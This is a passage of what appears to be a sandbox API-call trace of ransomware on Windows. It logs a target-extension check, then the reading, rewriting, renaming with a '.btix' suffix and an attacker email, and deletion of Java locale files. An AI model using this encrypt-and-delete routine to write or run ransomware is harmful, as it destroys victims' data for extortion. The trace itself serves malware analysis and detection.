(lpString1=".doc", lpString2="ties") returned -1 [0152.322] lstrlenW (lpString=".docx") returned 5 [0152.322] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.322] lstrlenW (lpString=".pdf") returned 4 [0152.322] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.322] lstrlenW (lpString=".xls") returned 4 [0152.322] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.322] lstrlenW (lpString=".xlsx") returned 5 [0152.322] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.323] lstrlenW (lpString=".ppt") returned 4 [0152.323] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.323] lstrlenW (lpString=".zip") returned 4 [0152.323] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.323] lstrlenW (lpString=".rar") returned 4 [0152.323] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.323] lstrlenW (lpString=".bz2") returned 4 [0152.323] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.323] lstrlenW (lpString=".7z") returned 3 [0152.323] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.323] lstrlenW (lpString=".dbf") returned 4 [0152.323] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.323] lstrlenW (lpString=".1cd") returned 4 [0152.323] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.323] lstrlenW (lpString=".jpg") returned 4 [0152.323] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.323] lstrlenW (lpString=".doc") returned 4 [0152.323] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.323] lstrlenW (lpString=".docx") returned 5 [0152.323] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.323] lstrlenW (lpString=".pdf") returned 4 [0152.323] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.323] lstrlenW (lpString=".xls") returned 4 [0152.323] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.323] lstrlenW (lpString=".xlsx") returned 5 [0152.323] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.323] lstrlenW (lpString=".ppt") returned 4 [0152.323] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.324] lstrlenW (lpString=".zip") returned 4 [0152.324] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.324] lstrlenW (lpString=".rar") returned 4 [0152.324] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.324] lstrlenW (lpString=".bz2") returned 4 [0152.324] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.324] lstrlenW (lpString=".7z") returned 3 [0152.324] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.324] lstrlenW (lpString=".dbf") returned 4 [0152.324] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.324] lstrlenW (lpString=".1cd") returned 4 [0152.324] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.324] lstrlenW (lpString=".jpg") returned 4 [0152.324] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.324] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.324] lstrlenW (lpString="messages_zh_CN.properties") returned 25 [0152.324] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.324] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=4072) returned 1 [0152.324] CloseHandle (hObject=0x35c) returned 1 [0152.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0152.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.325] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.325] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.325] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.325] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0152.325] GetLastError () returned 0x0 [0152.325] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xfe8, lpOverlapped=0x0) returned 1 [0152.326] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xff0, lpOverlapped=0x0) returned 1 [0152.327] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.327] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x106, lpOverlapped=0x0) returned 1 [0152.327] SetEndOfFile (hFile=0x394) returned 1 [0152.327] CloseHandle (hObject=0x394) returned 1 [0152.327] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.327] SetEndOfFile (hFile=0x35c) returned 1 [0152.328] CloseHandle (hObject=0x35c) returned 1 [0152.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.328] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1 [0152.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.329] lstrlenW (lpString=".doc") returned 4 [0152.329] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.329] lstrlenW (lpString=".docx") returned 5 [0152.329] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.329] lstrlenW (lpString=".pdf") returned 4 [0152.329] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.329] lstrlenW (lpString=".xls") returned 4 [0152.329] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.329] lstrlenW (lpString=".xlsx") returned 5 [0152.329] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.329] lstrlenW (lpString=".ppt") returned 4 [0152.329] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.329] lstrlenW (lpString=".zip") returned 4 [0152.329] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.329] lstrlenW (lpString=".rar") returned 4 [0152.329] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.329] lstrlenW (lpString=".bz2") returned 4 [0152.329] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.329] lstrlenW (lpString=".7z") returned 3 [0152.329] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.329] lstrlenW (lpString=".dbf") returned 4 [0152.329] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.329] lstrlenW (lpString=".1cd") returned 4 [0152.329] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.329] lstrlenW (lpString=".jpg") returned 4 [0152.329] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.329] lstrlenW (lpString=".doc") returned 4 [0152.329] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.329] lstrlenW (lpString=".docx") returned 5 [0152.330] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.330] lstrlenW (lpString=".pdf") returned 4 [0152.330] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.330] lstrlenW (lpString=".xls") returned 4 [0152.330] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.330] lstrlenW (lpString=".xlsx") returned 5 [0152.330] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.330] lstrlenW (lpString=".ppt") returned 4 [0152.330] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.330] lstrlenW (lpString=".zip") returned 4 [0152.330] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.330] lstrlenW (lpString=".rar") returned 4 [0152.330] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.330] lstrlenW (lpString=".bz2") returned 4 [0152.330] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.330] lstrlenW (lpString=".7z") returned 3 [0152.330] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.330] lstrlenW (lpString=".dbf") returned 4 [0152.330] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.330] lstrlenW (lpString=".1cd") returned 4 [0152.330] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0152.330] lstrlenW (lpString=".jpg") returned 4 [0152.330] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.330] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.330] lstrlenW (lpString="messages_zh_HK.properties") returned 25 [0152.330] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.331] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=3752) returned 1 [0152.331] CloseHandle (hObject=0x35c) returned 1 [0152.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0152.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.331] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.331] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.331] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.331] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0152.331] GetLastError () returned 0x0 [0152.331] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xea8, lpOverlapped=0x0) returned 1 [0152.332] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xeb0, lpOverlapped=0x0) returned 1 [0152.333] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.333] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x106, lpOverlapped=0x0) returned 1 [0152.333] SetEndOfFile (hFile=0x394) returned 1 [0152.333] CloseHandle (hObject=0x394) returned 1 [0152.333] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.333] SetEndOfFile (hFile=0x35c) returned 1 [0152.334] CloseHandle (hObject=0x35c) returned 1 [0152.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.334] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1 [0152.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.335] lstrlenW (lpString=".doc") returned 4 [0152.335] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.335] lstrlenW (lpString=".docx") returned 5 [0152.335] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.335] lstrlenW (lpString=".pdf") returned 4 [0152.335] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.335] lstrlenW (lpString=".xls") returned 4 [0152.335] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.335] lstrlenW (lpString=".xlsx") returned 5 [0152.335] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.335] lstrlenW (lpString=".ppt") returned 4 [0152.335] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.335] lstrlenW (lpString=".zip") returned 4 [0152.335] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.335] lstrlenW (lpString=".rar") returned 4 [0152.335] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.335] lstrlenW (lpString=".bz2") returned 4 [0152.335] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.335] lstrlenW (lpString=".7z") returned 3 [0152.335] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.335] lstrlenW (lpString=".dbf") returned 4 [0152.335] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.335] lstrlenW (lpString=".1cd") returned 4 [0152.335] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.336] lstrlenW (lpString=".jpg") returned 4 [0152.336] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.336] lstrlenW (lpString=".doc") returned 4 [0152.336] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.336] lstrlenW (lpString=".docx") returned 5 [0152.336] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.336] lstrlenW (lpString=".pdf") returned 4 [0152.336] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.336] lstrlenW (lpString=".xls") returned 4 [0152.336] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.336] lstrlenW (lpString=".xlsx") returned 5 [0152.336] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.336] lstrlenW (lpString=".ppt") returned 4 [0152.336] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.336] lstrlenW (lpString=".zip") returned 4 [0152.336] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.336] lstrlenW (lpString=".rar") returned 4 [0152.336] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.336] lstrlenW (lpString=".bz2") returned 4 [0152.336] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.336] lstrlenW (lpString=".7z") returned 3 [0152.336] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.336] lstrlenW (lpString=".dbf") returned 4 [0152.336] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.336] lstrlenW (lpString=".1cd") returned 4 [0152.336] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0152.337] lstrlenW (lpString=".jpg") returned 4 [0152.337] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.337] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.337] lstrlenW (lpString="messages_zh_TW.properties") returned 25 [0152.337] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.337] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=3752) returned 1 [0152.337] CloseHandle (hObject=0x35c) returned 1 [0152.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0152.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.337] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.337] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.337] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.337] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0152.338] GetLastError () returned 0x0 [0152.338] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xea8, lpOverlapped=0x0) returned 1 [0152.338] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xeb0, lpOverlapped=0x0) returned 1 [0152.340] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.340] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x106, lpOverlapped=0x0) returned 1 [0152.340] SetEndOfFile (hFile=0x394) returned 1 [0152.340] CloseHandle (hObject=0x394) returned 1 [0152.340] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.340] SetEndOfFile (hFile=0x35c) returned 1 [0152.341] CloseHandle (hObject=0x35c) returned 1 [0152.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.341] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1 [0152.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.341] lstrlenW (lpString=".doc") returned 4 [0152.341] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.341] lstrlenW (lpString=".docx") returned 5 [0152.341] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.341] lstrlenW (lpString=".pdf") returned 4 [0152.341] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.341] lstrlenW (lpString=".xls") returned 4 [0152.341] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.341] lstrlenW (lpString=".xlsx") returned 5 [0152.341] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.341] lstrlenW (lpString=".ppt") returned 4 [0152.341] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.341] lstrlenW (lpString=".zip") returned 4 [0152.342] lstrcmpiW 